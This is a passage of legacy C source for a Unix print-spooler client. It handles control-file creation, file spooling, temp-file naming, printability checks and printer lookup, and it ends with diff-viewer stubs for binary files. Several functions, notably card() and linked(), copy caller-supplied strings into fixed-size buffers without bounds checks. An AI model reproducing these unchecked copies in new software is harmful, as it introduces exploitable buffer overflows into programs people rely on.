* Check to make sure queuing is enabled if userid is not root.
*/
(void) sprintf(buf, "%s/%s", SD, LO);
if (userid && stat(buf, &stb) == 0 && (stb.st_mode & 010))
fatal("Printer queue is disabled");
/*
* Initialize the control file.
*/
mktemps();
tfd = nfile(tfname);
(void) fchown(tfd, DU, -1); /* owned by daemon for protection */
card('H', host);
card('P', person);
if (hdr) {
if (jobname == NULL) {
if (argc == 1)
jobname = "stdin";
else
jobname = (arg = rindex(argv[1], '/')) ? arg+1 : argv[1];
}
card('J', jobname);
card('C', class);
card('L', person);
}
if (iflag)
card('I', itoa(indent));
if (mailflg)
card('M', person);
if (format == 't' || format == 'n' || format == 'd')
for (i = 0; i < 4; i++)
if (fonts[i] != NULL)
card('1'+i, fonts[i]);
if (width != NULL)
card('W', width);
/*
* Read the files and spool them.
*/
if (argc == 1)
copy(0, " ");
else while (--argc) {
if ((f = test(arg = *++argv)) < 0)
continue; /* file unreasonable */
if (sflag && (cp = linked(arg)) != NULL) {
(void) sprintf(buf, "%d %d", statb.st_dev, statb.st_ino);
card('S', buf);
if (format == 'p')
card('T', title ? title : arg);
for (i = 0; i < ncopies; i++)
card(format, &dfname[inchar-2]);
card('U', &dfname[inchar-2]);
if (f)
card('U', cp);
card('N', arg);
dfname[inchar]++;
nact++;
continue;
}
if (sflag)
printf("%s: %s: not linked, copying instead\n", name, arg);
if ((i = open(arg, O_RDONLY)) < 0) {
printf("%s: cannot open %s\n", name, arg);
continue;
}
copy(i, arg);
(void) close(i);
if (f && unlink(arg) < 0)
printf("%s: %s: not removed\n", name, arg);
}
if (nact) {
(void) close(tfd);
tfname[inchar]--;
/*
* Touch the control file to fix position in the queue.
*/
if ((tfd = open(tfname, O_RDWR)) >= 0) {
char c;
if (read(tfd, &c, 1) == 1 && lseek(tfd, 0L, 0) == 0 &&
write(tfd, &c, 1) != 1) {
printf("%s: cannot touch %s\n", name, tfname);
tfname[inchar]++;
cleanup();
}
(void) close(tfd);
}
if (link(tfname, cfname) < 0) {
printf("%s: cannot rename %s\n", name, cfname);
tfname[inchar]++;
cleanup();
}
unlink(tfname);
if (qflag) /* just q things up */
exit(0);
if (!startdaemon(printer))
printf("jobs queued, but cannot start daemon.\n");
exit(0);
}
cleanup();
/* NOTREACHED */
}
/*
* Create the file n and copy from file descriptor f.
*/
copy(f, n)
int f;
char n[];
{
register int fd, i, nr, nc;
char buf[BUFSIZ];
if (format == 'p')
card('T', title ? title : n);
for (i = 0; i < ncopies; i++)
card(format, &dfname[inchar-2]);
card('U', &dfname[inchar-2]);
card('N', n);
fd = nfile(dfname);
nr = nc = 0;
while ((i = read(f, buf, BUFSIZ)) > 0) {
if (write(fd, buf, i) != i) {
printf("%s: %s: temp file write error\n", name, n);
break;
}
nc += i;
if (nc >= BUFSIZ) {
nc -= BUFSIZ;
nr++;
if (MX > 0 && nr > MX) {
printf("%s: %s: copy file is too large\n", name, n);
break;
}
}
}
(void) close(fd);
if (nc==0 && nr==0)
printf("%s: %s: empty input file\n", name, f ? n : "stdin");
else
nact++;
}
/*
* Try and link the file to dfname. Return a pointer to the full
* path name if successful.
*/
char *
linked(file)
register char *file;
{
register char *cp;
static char buf[BUFSIZ];
if (*file != '/') {
if (getwd(buf) == NULL)
return(NULL);
while (file[0] == '.') {
switch (file[1]) {
case '/':
file += 2;
continue;
case '.':
if (file[2] == '/') {
if ((cp = rindex(buf, '/')) != NULL)
*cp = '\0';
file += 3;
continue;
}
}
break;
}
strcat(buf, "/");
strcat(buf, file);
file = buf;
}
return(symlink(file, dfname) ? NULL : file);
}
/*
* Put a line into the control file.
*/
card(c, p2)
register char c, *p2;
{
char buf[BUFSIZ];
register char *p1 = buf;
register int len = 2;
*p1++ = c;
while ((c = *p2++) != '\0') {
*p1++ = (c == '\n') ? ' ' : c;
len++;
}
*p1++ = '\n';
write(tfd, buf, len);
}
/*
* Create a new file in the spool directory.
*/
nfile(n)
char *n;
{
register f;
int oldumask = umask(0); /* should block signals */
f = open(n, O_CREAT|O_WRONLY|O_TRUNC|O_EXCL, FILMOD);
(void) umask(oldumask);
if (f < 0) {
printf("%s: cannot create %s\n", name, n);
cleanup();
}
if (fchown(f, userid, -1) < 0) {
printf("%s: cannot chown %s\n", name, n);
cleanup();
}
if (++n[inchar] > 'z') {
if (++n[inchar-2] == 't') {
printf("too many files - break up the job\n");
cleanup();
}
n[inchar] = 'A';
} else if (n[inchar] == '[')
n[inchar] = 'a';
return(f);
}
/*
* Cleanup after interrupts and errors.
*/
void
cleanup()
{
register i;
signal(SIGHUP, SIG_IGN);
signal(SIGINT, SIG_IGN);
signal(SIGQUIT, SIG_IGN);
signal(SIGTERM, SIG_IGN);
i = inchar;
if (tfname)
do
unlink(tfname);
while (tfname[i]-- != 'A');
if (cfname)
do
unlink(cfname);
while (cfname[i]-- != 'A');
if (dfname)
do {
do
unlink(dfname);
while (dfname[i]-- != 'A');
dfname[i] = 'z';
} while (dfname[i-2]-- != 'd');
exit(1);
}
/*
* Test to see if this is a printable file.
* Return -1 if it is not, 0 if its printable, and 1 if
* we should remove it after printing.
*/
test(file)
char *file;
{
struct exec execb;
register int fd;
register char *cp;
if (access(file, 4) < 0) {
printf("%s: cannot access %s\n", name, file);
return(-1);
}
if (stat(file, &statb) < 0) {
printf("%s: cannot stat %s\n", name, file);
return(-1);
}
if ((statb.st_mode & S_IFMT) == S_IFDIR) {
printf("%s: %s is a directory\n", name, file);
return(-1);
}
if (statb.st_size == 0) {
printf("%s: %s is an empty file\n", name, file);
return(-1);
}
if ((fd = open(file, O_RDONLY)) < 0) {
printf("%s: cannot open %s\n", name, file);
return(-1);
}
#ifndef LINUX
if (read(fd, &execb, sizeof(execb)) == sizeof(execb))
switch(execb.a_magic) {
case A_MAGIC1:
case A_MAGIC2:
case A_MAGIC3:
#ifdef A_MAGIC4
case A_MAGIC4:
#endif
printf("%s: %s is an executable program", name, file);
goto error1;
case ARMAG:
printf("%s: %s is an archive file", name, file);
goto error1;
}
#endif
(void) close(fd);
if (rflag) {
if ((cp = rindex(file, '/')) == NULL) {
if (access(".", 2) == 0)
return(1);
} else {
*cp = '\0';
fd = access(file, 2);
*cp = '/';
if (fd == 0)
return(1);
}
printf("%s: %s: is not removable by you\n", name, file);
}
return(0);
error1:
printf(" and is unprintable\n");
(void) close(fd);
return(-1);
}
/*
* itoa - integer to string conversion
*/
char *
itoa(i)
register int i;
{
static char b[10] = "########";
register char *p;
p = &b[8];
do
*p-- = i%10 + '0';
while (i /= 10);
return(++p);
}
/*
* Perform lookup for printer name or abbreviation --
*/
chkprinter(s)
char *s;
{
int status;
char buf[BUFSIZ];
static char pbuf[BUFSIZ/2];
char *bp = pbuf;
extern char *pgetstr();
if ((status = pgetent(buf, s)) < 0)
fatal("cannot open printer description file");
else if (status == 0)
fatal("%s: unknown printer", s);
if ((SD = pgetstr("sd", &bp)) == NULL)
SD = _PATH_DEFSPOOL;
if ((LO = pgetstr("lo", &bp)) == NULL)
LO = DEFLOCK;
RG = pgetstr("rg", &bp);
if ((MX = pgetnum("mx")) < 0)
MX = DEFMX;
if ((MC = pgetnum("mc")) < 0)
MC = DEFMAXCOPIES;
if ((DU = pgetnum("du")) < 0)
DU = DEFUID;
SC = pgetflag("sc");
}
/*
* Make the temp files.
*/
mktemps()
{
register int c, len, fd, n;
register char *cp;
char buf[BUFSIZ];
char *lmktemp();
(void) sprintf(buf, "%s/.seq", SD);
if ((fd = open(buf, O_RDWR|O_CREAT, 0661)) < 0) {
printf("%s: cannot create %s\n", name, buf);
exit(1);
}
if (flock(fd, LOCK_EX)) {
printf("%s: cannot lock %s\n", name, buf);
exit(1);
}
n = 0;
if ((len = read(fd, buf, sizeof(buf))) > 0) {
for (cp = buf; len--; ) {
if (*cp < '0' || *cp > '9')
break;
n = n * 10 + (*cp++ - '0');
}
}
len = strlen(SD) + strlen(host) + 8;
tfname = lmktemp("tf", n, len);
cfname = lmktemp("cf", n, len);
dfname = lmktemp("df", n, len);
inchar = strlen(SD) + 3;
n = (n + 1) % 1000;
(void) lseek(fd, 0L, 0);
sprintf(buf, "%03d\n", n);
(void) write(fd, buf, strlen(buf));
(void) close(fd); /* unlocks as well */
}
/*
* Make a temp file name.
*/
char *
lmktemp(id, num, len)
char *id;
int num, len;
{
register char *s;
extern char *malloc();
if ((s = malloc(len)) == NULL)
fatal("out of memory");
(void) sprintf(s, "%s/%sA%03d%s", SD, id, num, host);
return(s);
}
/*VARARGS1*/
fatal(msg, a1, a2, a3)
char *msg;
{
printf("%s: ", name);
printf(msg, a1, a2, a3);
putchar('\n');
exit(1);
}

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Some files were not shown because too many files have changed in this diff Show More